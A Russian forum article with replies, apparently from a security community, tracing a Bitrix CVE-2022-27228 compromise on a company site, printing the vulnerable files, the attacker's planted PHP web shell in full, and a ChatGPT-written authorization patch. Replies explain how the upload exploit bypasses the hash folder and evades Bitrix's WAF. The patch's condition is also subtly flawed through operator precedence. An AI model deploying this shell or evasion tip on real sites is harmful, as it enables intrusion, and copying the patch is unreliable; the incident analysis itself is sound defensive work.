Статья По следам CVE-2022-27228

cve.jpg


Приветствую, уважаемые форумчане. Хотел бы поведать вам историю, которая произошла совсем недавно. Многие наверное слышали про атаку, которой подверглись сайты на cms битрикс в июне 22 года, так вот речь именно об этой уязвимости.

Наша компания занимается доставкой еды, в качестве cms используется битрикс какого-то лохматого года, конечно, мы знаем, что надо обновляться по мере выхода обновлений. Волею случая я попал туда работать, и помимо основной работы с БД я слежу за безопасностью, ищу дырки и стараюсь их закрывать сам, либо это делают программисты, сам я владею php на уровне примерно 0.

Вот так и продолжалась наша рутинная работа, пока однажды вдруг резко никто не мог зайти и выйти с сайта, включая админов. В ходе чтения различных форумов, была обнаружена возможная причина - это инфицирование файлов bx_root.php и prolog_after.php в ядре битрикса.

bx_root.png


Закомментированная часть и была причиной поломки.
и изменения в файле prolog_after.php

prolog_after.png


обратите внимание, что строки дублируются, к этому вернемся чуть позже и я выскажу свое предположение.

Результат просмотра логов ничего не дал, только миллионы буковок и циферок. Тогда я решил пробежаться по известной всем методичке для атак на битрикс и посмотреть что же там такого есть. Я думаю, многие поняли, о какой методичке идет речь.

В итоге, после долгого различного ковыряния и проверок, у меня ничего не выходило найти, тогда я нашел эксплойт для уязвимости и стал разглядывать его код и пытаться залить шелл. Эксплойт не отработал должным образом, но удалось обнаружить новые файлы в папке upload, правда это были не PHP файлы, а стандартные файлы то ли логов, то ли еще какой фигни. Как я понял, эти файлы создаются каждый раз, когда на сайт закачивается файл. Примерный путь /upload/tmp/BXTEMP-2023-01-01/09/bxu/main/тутпапкахэшиком/default

И вот, наконец вооружившись методичкой и открыв код эксплойта, я решил дописать его под себя. После пары часов пыхтения удалось таки залить свой код в upload папку и на одном из доменов даже выполнить его, ужас, всегда закрывайте папку upload от выполнения различных скриптов.

Так же в процессе были обнаружены еще несколько зараженных и непонятных файлов. Вот этот код добавился в одном из файлов.

index.jpg


В этот момент я решил попробовать поиграться с chatgpt, зарегистрировался там, писал всякие вопросики и тут пришла идея: а почему бы не попросить, чтоб он написал для меня скрипт, который будет читать логи, анализировать их и отправлять в телеграмм сообщения при обращении к файлам уязвимости. Пусть и не сразу, но он написал для меня такой скрипт. Помимо этого, при изменениях файлов в файле менялось значение mtime и выглядело так, что файлы менялись последний раз очень давно. Просто так обнаружить модифицированные файлы не удалось, пришлось просматривать все вручную, сканировать различными антивирусами. Поэтому он написал для меня еще 1 скрипт для поиска файлов модифицированных по mtime и ctime за последний день. Добавив это в крон на выполнение пары раз в день и закрытия папки upload пришлось немного подождать.

И вот утром, проверяя свою телегу, были выявлены новые модификации и новые файлы, при этом в логах помимо обращения к уязвимому htm_editor_action.php ничего не было, как и не было обращения к папке upload. Тогда пришлось разбираться уже с самой уязвимостью. На форумах много рекомендаций по поводу закрытия этих файлов, но как следствие админ часть отваливается, да и предложения закрыть метод POST настройками сервера при обращении к этому файлу такая себе идея

PHP:
<?
define("NO_KEEP_STATISTIC", "Y");
define("NO_AGENT_STATISTIC","Y");
define("NO_AGENT_CHECK", true);
define("DisableEventsCheck", true);
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");

CModule::IncludeModule("fileman");

$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : false;

if (check_bitrix_sessid())
{
    CHTMLEditor::RequestAction($action);
}

require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_after.php");
?>

это сам уязвимый файл, к которому идет обращения, и как можно заметить никаких дополнительных проверок помимо sessid нету.
Так же в логах было два обращения к файлу /bitrix/tools/vote/vote_chart.php и вы только посмотрите на эту начинку


PHP:
<?
$file = preg_replace(array("#[\\\\\\/]+#", "#\\.+[\\\\\\/]#"), array("/", ""), (isset($_REQUEST["file"]) && is_string($_REQUEST["file"]) ? $_REQUEST["file"] : ""));

if(($p = strpos($file, "\0"))!==false)
    $file = substr($file, 0, $p);

if (strpos($file, "/vote/")!==false)
{
    if (strpos($file, "/bitrix/modules/vote/install/templates/vote/")===0 ||
        strpos($file, "/bitrix/templates/")===0) @include($_SERVER["DOCUMENT_ROOT"]."/".$file);
}
?>

между прочим это стандартный файл, однако замечу, что в присланном в телеграмм сообщении по изменению и добавлению файлов, у нас как раз-таки фигурирует один из путей /bitrix/templates/и в папке vote нас ожидает наш шелл по имени default с содержимым

PHP:
<?
define("NO_KEEP_STATISTIC", true);
define("NO_AGENT_CHECK", true);
define("NO_AGENT_STATISTIC", true);
define("NOT_CHECK_PERMISSIONS", true);
define("DisableEventsCheck", true);

require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");

if(isset($_REQUEST["state"]) && is_string($_REQUEST["state"]))
{
    $arState = array();
    parse_str(base64_decode($_REQUEST["state"]), $arState);

    echo $arState[0]($arState[1],$arState[2]);
    die();
}
?>

Получается, что злоумышленник даже не использовал папку upload, он просто каким-то способом лил файл сюда и потом инклюдил его, и тот выполнялся. Нужно срочно закрыть файл от доступа. Так как в целом с программированием я не очень, и тем более программированием на битре, то я решил снова воспользоваться ChatGPT. Я попросил добавить в файл /fileman_html_editor_action.php проверку на авторизацию и принадлежность к группам сотрудников, дабы не сломать ничего лишнего, и он сразу выдал мне файл с таким содержимым

PHP:
<?
define("NO_KEEP_STATISTIC", "Y");
define("NO_AGENT_STATISTIC","Y");
define("NO_AGENT_CHECK", true);
define("DisableEventsCheck", true);
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");

CModule::IncludeModule("fileman");

$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : false;

if ($GLOBALS['USER'] instanceof \CAllUser
    && $GLOBALS['USER']->getId()
    && check_bitrix_sessid()
    && in_array(1, $GLOBALS['USER']->GetUserGroupArray()) || in_array(20, $GLOBALS['USER']->GetUserGroupArray()))
{
    CHTMLEditor::RequestAction($action);
}

require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_after.php");
?>

Осталось только залить его на сервер и протестировать наш эксплойт. К счастью, эксплойт не отработал, новых файлов и логов от них добавлено не было ни в папку upload, ни куда-то еще. Ну что ж, будем смотреть и анализировать логи, и изменения файлов, чтоб прийти к выводу: а помогло ли это в этот раз. Хотя данная мера является скорее полумерой, но для тех, кто не может обновить ядро, я думаю может помочь.

ChatGPT это конечно хорошо, но понимать код и писать его, залатывая дыры самому, куда веселее :)

Хочу высказать свое предположение по поводу этого всего. Я думаю, что сайты ломают ботом, помните те повторяющие строки в bx_root.php и prolog_after.php? Так вот, они добавляются после даже уже существующих строк каждый раз, когда идет обращение к нашим файлам. Кстати, еще искали файл spread.php в /bitrix/tolls, но его там не оказалось. Можно прийти к выводу, что заливают шелл до поры до времени, и в один прекрасный день снова множество сайтов падут. У кого старый битрикс и кто не столкнулся с атакой в прошлом году, проверьте свои сайты, обезопасьте себя. Так же, если кому-то нужны скрипты для логов и анализа на изменения файлов, можете писать в личку и я поделюсь с вами. Прошу не плеваться в мою сторону по безопасности нашего сайта, я работаю недавно в этой области и компании, и многое делаю впервые: такое как латание дыр на боевом сервере и изучения логов, чтоб пройтись по пути злоумышленника, пусть даже бота. Всем удачи и спасибо за прочтение, надеюсь было не сильно скучно :)
 
Последнее редактирование модератором:
02.03.2021
561
404
BIT
303
Благодарю, хорошая статья, читал с удовольствием. Главное что не чего не понимая взял разобрался и закрыл уязвимость. Да в любом случае будут еще уязвимости, но опыт дальше будет только расти, главное не опускай руки. Удачи дядь
 
  • Нравится
Реакции: FXLL и AntArt

AntArt

Green Team
14.02.2018
11
35
BIT
14
Благодарю, хорошая статья, читал с удовольствием. Главное что не чего не понимая взял разобрался и закрыл уязвимость. Да в любом случае будут еще уязвимости, но опыт дальше будет только расти, главное не опускай руки. Удачи дядь
Благодарю! :)
 
  • Нравится
Реакции: FXLL

AntArt

Green Team
14.02.2018
11
35
BIT
14
Побольше бы таких тем с разбором cve и описание всего процесса
Статья классная :>
Эта уязвимость предпологает вообще что уязвим модуль vote, но в эксплойте фигурирует еще html_editor_actions php, хоть модуль vote не подключен, через второй тоже можно получить rce используя эксплойт. А их уже наплодилось всяких. Чуть поновее нашей версии битры, в нем уже стоит проверка на авторизацию, но можно залогиниться хоть клиентом чтоб сработало, если например из коробки не работает
 
  • Нравится
Реакции: FXLL

FXLL

Green Team
22.12.2022
45
7
BIT
40
Я как понял мы можем оперировать модулем void даже если он не подключен, главное наличие html_editor_actions?Как я понял ты добавил список людей креды которых должны находится в данном файле.(Заранее извиняюсь сейчас глупые вопросы,ибо иногда сам не понимаю логику приложений)
 

AntArt

Green Team
14.02.2018
11
35
BIT
14
Я как понял мы можем оперировать модулем void даже если он не подключен, главное наличие html_editor_actions?Как я понял ты добавил список людей креды которых должны находится в данном файле.(Заранее извиняюсь сейчас глупые вопросы,ибо иногда сам не понимаю логику приложений)
Не совсем, для второго пайлоада в эксплойте совсем не нужен модуль vote, так как там уязвим визуальный редактор html. У меня через этот эксплойт с html_editor_actions получилось залить файл php в папку upload/tmp обойдя хэш папку которая создается при загрузки файла, что дает возможность найти свой шелл, как в методичке примерно. Но я немного правил исходный эксплойт на пхп который написан, а не на питоне. Как они смогли залить файл напрямую в папку bitrix я не разобрался. К тому же без этой строчки
<?require_once($_SERVER['DOCUMENT_ROOT']. "/bitrix/modules/main/include/prolog_before.php");
в начале файла, фав битры не видит наш шелл и не блочит его. По крайней мере в нашей версии это так.
 
  • Нравится
Реакции: FXLL
02.03.2021
561
404
BIT
303
я что подумал, данная статья подходит под первый зарегистрированный случай попытки эксплуатации уязвимости и ее закрытия в своей компании при использования ChatGPT?!

Дядя давай Ышо!

2016_01_15_21_01_46_f55415fa9f2f6da31f63701d9af56fc5.jpg
 
  • Нравится
Реакции: FXLL

FXLL

Green Team
22.12.2022
45
7
BIT
40
я что подумал, данная статья подходит под первый зарегистрированный случай попытки эксплуатации уязвимости и ее закрытия в своей компании при использования ChatGPT?!

Дядя давай Ышо!

Посмотреть вложение 66260
ChatGPT вообще чудо,интересно было бы на реальных пример разбор сайтов компании.Hackerone и другие площадки и дальнейший разбор уязвимых систем(Автор x3 красавчик)
 
  • Нравится
Реакции: Сергей Сталь
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!